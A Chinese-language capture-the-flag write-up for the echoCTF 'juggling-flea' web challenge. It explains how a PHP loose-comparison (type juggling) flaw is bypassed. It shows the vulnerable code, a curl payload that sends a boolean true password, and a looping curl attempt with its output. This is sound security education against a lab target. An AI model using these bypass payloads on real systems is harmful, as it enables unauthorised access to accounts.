3 min read

echoCTF - juggling-flea writeup (zh-TW)

echoCTF - juggling-flea writeup (zh-TW)

題目資訊

  • 平台: echoCTF
  • 分類: Web Security
  • 難度: CTF Beginners (300 points)
  • 描述: "This API changes password with every request, see if you can find a way to authenticate successfully. There is no need for brute-forcing the authentication with random passwords..."
  • 題目連結: https://echoctf.red/target/53

解題過程

Step 1: 初步偵察 訪問網站,頁面直接顯示 PHP 源代碼:

<?php
if (empty($_POST))
{
  highlight_file(__FILE__);
  exit;
}
$randno=intval(rand()%10);
$mypassword=$randno.md5(time());
// ... 
if($auth->password==$mypassword)  // 弱比較!

關鍵發現:

  • 密碼格式:隨機數字(0-9) + MD5(time())
  • 使用 == 進行弱比較
  • 需要 POST 請求且 $_POST 不能為空

Step 2: 分析題目名稱 "juggling-flea" 暗示 PHP Type Juggling 漏洞

Step 3: 理解 PHP Type Juggling 在 PHP 弱比較中,布林值與字串比較規則:

true == "任何非空字串"  // 永遠 TRUE

因為 $mypassword 永遠是非空字串(數字+MD5),所以 true == $mypassword 必定成立

Step 4: 繞過 $_POST 檢查 關鍵技巧:不設定 Content-Type: application/json

  • $_POST 有值(繞過檢查)
  • php://input 仍包含 JSON 資料
  • json_decode() 可正常解析

Step 5: 成功獲得 Flag

curl -s http://10.0.41.14:1337/ \
  -d '{"username":"admin","password":true}'

一次成功!

Flag: ETSCTF_REDACTED

學習重點

  • 布林值繞過最穩定:不需要碰運氣(可參考下面解法),100% 成功率
  • 理解 $_POST vs php://input
    • $_POST 只在特定 Content-Type 時填充
    • php://input 永遠包含原始請求body
  • PHP 弱比較危險性:永遠使用 === 進行安全比較

經驗分享

在解這題時,其實還有其他測試方法,可以供參考:

嘗試數字 Type Juggling

理解到 7 == "7abc..." 會是 TRUE,開始循環嘗試:

while true; do
  curl -X POST http://10.0.41.14:1337/ \
    -H "Content-Type: application/json" \
    -d '{"username":"admin","password":7}'
done

問題:一直返回 PHP 源代碼,因為加了 JSON header 導致 $_POST 為空,這是題目的另一個小心思,需要繞過

所以要改成

while true; do
  curl -X POST http://10.0.41.14:1337/ \
    -d '{"username":"admin","password":7}'
done

這樣就可以直接暴力破解出來,等於_POST不為空,會走php://input,通過之後,遲早會有弱比較密碼正確的時候,可以發現經過迴圈終於找到ETSCTF_REDACTED

└─$ while true; do
  curl -X POST http://10.0.41.14:1337/ \
    -d '{"username":"admin","password":7}'
done
{"error":{"message":"Password authentication failed..."}}{"error":{"message":"Password authentication failed..."}}{"error":{"message":"Password authentication failed..."}}{"error":{"message":"Password authentication failed..."}}{"error":{"message":"Password authentication failed..."}}{"error":{"message":"Password authentication failed..."}}{"error":{"message":"Password authentication failed..."}}{"error":{"message":"Password authentication failed..."}}{"error":{"message":"Password authentication failed..."}}{"error":{"message":"Password authentication failed..."}}{"success":{"message":"Correct password here is your flag ETSCTF_REDACTED"}}{"error":{"message":"Password authentication failed..."}}{"error":{"message":"Password authentication failed..."}}{"error":{"message":"Password authentication failed..."}}

總結來說,我是最後才發現,只要不加 Content-Type header,問題就解決了!而且用布林值 true 比用數字更穩定,直接一次成功,不用一直走迴圈,此外這也有觸碰到基本的程式碼審計,是我比較弱的領域。